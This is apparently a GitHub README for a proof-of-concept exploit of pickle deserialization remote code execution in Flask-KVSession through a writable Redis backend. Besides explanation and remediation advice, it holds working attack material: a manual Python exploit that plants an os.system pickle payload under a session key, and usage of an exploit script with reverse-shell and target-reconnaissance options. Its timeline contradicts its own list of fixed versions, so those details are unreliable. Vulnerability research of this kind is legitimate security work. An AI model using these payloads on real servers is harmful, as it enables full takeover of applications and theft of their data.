deepanshhooda/flask-kvsession-pickle-rce

GitHub: deepanshhooda/flask-kvsession-pickle-rce

Flask-KVSession Pickle 反序列化 RCE 漏洞的概念验证项目,复现并利用 Redis 后端数据写入实现远程代码执行。

Stars: 0 | Forks: 0

# Flask-KVSession Pickle 反序列化远程代码执行 **CVE**: 待定(已提交至 MITRE) **CVSS 4.0**: 10.0 严重 **CWE**: CWE-502(不可信数据反序列化) **发现时间**: 2026 年 6 月 ## 概述 Flask-KVSession 及其分支(Flask-KVSession-fork)使用 Python 的 `pickle` 模块来序列化和反序列化存储在 Redis 中的 session 数据。拥有 Redis 后端写入权限的攻击者可以注入恶意的 pickle payload,当 Flask 应用对其进行反序列化时,将导致**未经身份验证的远程代码执行**。 客户端 cookie 中仅存储了 session ID —— 实际的 session 数据存储在 Redis 中,键名为 `kvsession:`。当服务器处理请求时,它会从 Redis 中获取原始字节,并直接传递给 `pickle.loads()`。 ## 受影响版本 | 包名 | 受影响版本 | 修复版本 | |---------|----------|----------| | `flask-kvsession` | < 0.6.3 | 0.6.3 | | `Flask-KVSession-fork` | < 0.6.5 | 0.6.5 | ## 漏洞详情 ### 根本原因 在 `flask_kvsession/session.py` 中,`KVSession` 类使用 `pickle.dumps()` 序列化 session 对象,并使用 `pickle.loads()` 对其进行反序列化: ``` # flask_kvsession/session.py (漏洞) def _loads(self, value): return pickle.loads(value) # <-- UNSAFE: no validation def _dumps(self, value): return pickle.dumps(value) ``` 当对不可信数据调用时,Python 的 `pickle.loads()` 本质上是不安全的。它可以通过 `__reduce__` 协议在反序列化期间执行任意代码。这是一个**设计缺陷** —— 永远不应在跨越信任边界时使用 pickle 进行序列化。 ### 攻击向量 1. **攻击者获得 Redis 后端的写入权限** —— 常见场景包括: - Redis 在没有身份验证的情况下暴露在互联网上(默认配置) - Flask 应用或同一网络中另一个应用存在 SSRF 漏洞 - 内部网络访问权限(从另一个被攻破的服务进行内网渗透) - 配置不当的防火墙暴露了 Redis 端口 (6379) 2. **攻击者构造恶意 pickle payload** —— 使用 Python 的 `__reduce__` 方法在反序列化期间执行任意命令 3. **攻击者将 payload 写入 Redis**,存储在已知的 session 键下 (`kvsession:`) 4. **攻击者将其 session cookie 设置**为精心构造的 session ID 5. **服务器反序列化该 payload** → **RCE** ### 攻击图 ``` ┌─────────────┐ Redis Access ┌──────────────┐ │ Attacker │ ────────────────────▶ │ Redis DB │ │ │ write payload │ │ └──────┬──────┘ └──────┬───────┘ │ │ │ request with │ │ malicious session cookie │ ▼ ▼ ┌─────────────────────────────────────────────────────┐ │ Flask App (flask-kvsession) │ │ │ │ 1. Get session ID from cookie │ │ 2. Fetch bytes from Redis: GET kvsession: │ │ 3. Call pickle.loads(bytes) ← RCE HERE │ │ 4. Use deserialized session object │ └─────────────────────────────────────────────────────┘ ``` ## 概念验证 ### 环境配置 ``` # Clone this repository git clone https://github.com/deepanshhooda/flask-kvsession-pickle-rce cd flask-kvsession-pickle-rce # 启动漏洞实验环境 docker-compose up -d # 验证服务正在运行 curl http://localhost:5000/ ``` ### 漏洞利用 **场景 1: 命令执行** ``` # 针对 Redis 后端运行 exploit python3 exploit/exploit.py \ --redis-host 127.0.0.1 \ --redis-port 6379 \ --flask-url http://127.0.0.1:5000 \ --command "id" # 输出: # [+] Connected to Redis at 127.0.0.1:6379 # [+] Injected malicious pickle payload into Redis # [+] Exploit triggered! uid=1000(app) gid=1000(app) groups=1000(app) ``` **场景 2: 反向 Shell** ``` # 终端 1: 启动 listener nc -lvnp 4444 # 终端 2: 使用 reverse shell 运行 exploit python3 exploit/exploit.py \ --redis-host 127.0.0.1 \ --redis-port 6379 \ --flask-url http://127.0.0.1:5000 \ --reverse-shell \ --lhost YOUR_IP \ --lport 4444 ``` **场景 3: Redis 侦察** ``` # 检查目标的 Redis 是否可访问 python3 exploit/exploit.py \ --redis-host \ --redis-port 6379 \ --recon ``` ### 手动利用 ``` import pickle, redis, requests class RCE: def __reduce__(self): import os return (os.system, ('id',)) # 1. 连接到暴露的 Redis r = redis.Redis(host='target-redis', port=6379) # 2. 创建恶意 session sid = 'evil-session-id' payload = pickle.dumps(RCE(), protocol=0) r.set(f'kvsession:{sid}', payload) # 3. 触发 deserialization requests.get('http://target-flask:5000', cookies={'session': sid}) ``` ## 影响 - **严重**: CVSS 4.0 评分 10.0 - **未经身份验证的 RCE**: 如果 Redis 可访问,则无需身份验证 - **完全控制服务器**: 攻击者获得 Flask 应用进程的权限 - **持久性**: 在许多配置中,Redis 后端会持久化数据,允许攻击者注入一次 payload 并使其在每个存在漏洞的应用实例上执行 - **网络跳板**: 被攻破的服务器可用于攻击内部系统 - **数据泄露**: 访问存储在环境中的数据库凭据、API 密钥和应用数据 ## 修复方案 ### 立即修复 1. **升级到已修复版本**: - flask-kvsession: `pip install flask-kvsession>=0.6.3` - Flask-KVSession-fork: `pip install Flask-KVSession-fork>=0.6.5` ### 替代序列化方案 2. **使用安全的序列化格式替换 pickle**: - `json`(适用于简单的 session 数据) - `msgpack`(二进制安全、更快的替代方案) - `itsdangerous`(Flask 内置签名,默认已由 Flask session 使用) ### 纵深防御 3. **安全部署 Redis**: - 使用强密码设置 `requirepass` - 使用 `rename-command FLUSHALL ""` 和 `rename-command CONFIG ""` - 仅绑定到 localhost 或私有网络 - 使用网络隔离(为 Redis 划分单独的 VLAN) - 为 Redis 连接启用 TLS - 在生产环境中使用 `redis-sentinel` 或 `redis-cluster` 4. **输入验证**: - 在查找之前验证 session ID - 对序列化数据实施完整性检查 (HMAC) - 考虑使用签名过的 session cookie 代替服务器端 session ## 披露时间线 | 日期 | 事件 | |------|-------| | 2026-06 | 在安全审计期间发现漏洞 | | 2026-06 | 向 MITRE 申请 CVE ID | | 2026-06 | 在 GitHub 上发布 PoC | | 待定 | 通知厂商 | | 待定 | 发布补丁 | ## 参考 - [原始代码库 (mbr/flask-kvsession)](https://github.com/mbr/flask-kvsession) - [分支代码库 (infobyte/flask-kvsession)](https://github.com/infobyte/flask-kvsession) - [Flask-KVSession PyPI](https://pypi.org/project/Flask-KVSession/) - [Flask-KVSession-fork PyPI](https://pypi.org/project/Flask-KVSession-fork/) - [CWE-502: 不可信数据反序列化](https://cwe.mitre.org/data/definitions/502.html) - [CVE-2021-33026: Flask-Caching pickle 反序列化(先例)](https://nvd.nist.gov/vuln/detail/CVE-2021-33026) - [OWASP 反序列化速查表](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) ## 免责声明 本 PoC 仅用于**教育目的和授权的安全测试**。未经授权访问计算机系统是违法行为。作者不对滥用此信息的行为负责。 ## 作者 - deepanshhooda
标签:Flask, Pickle反序列化, Python, Web安全, XXE攻击, 搜索引擎查询, 无后门, 编程工具, 蓝队分析, 请求拦截, 远程代码执行, 逆向工具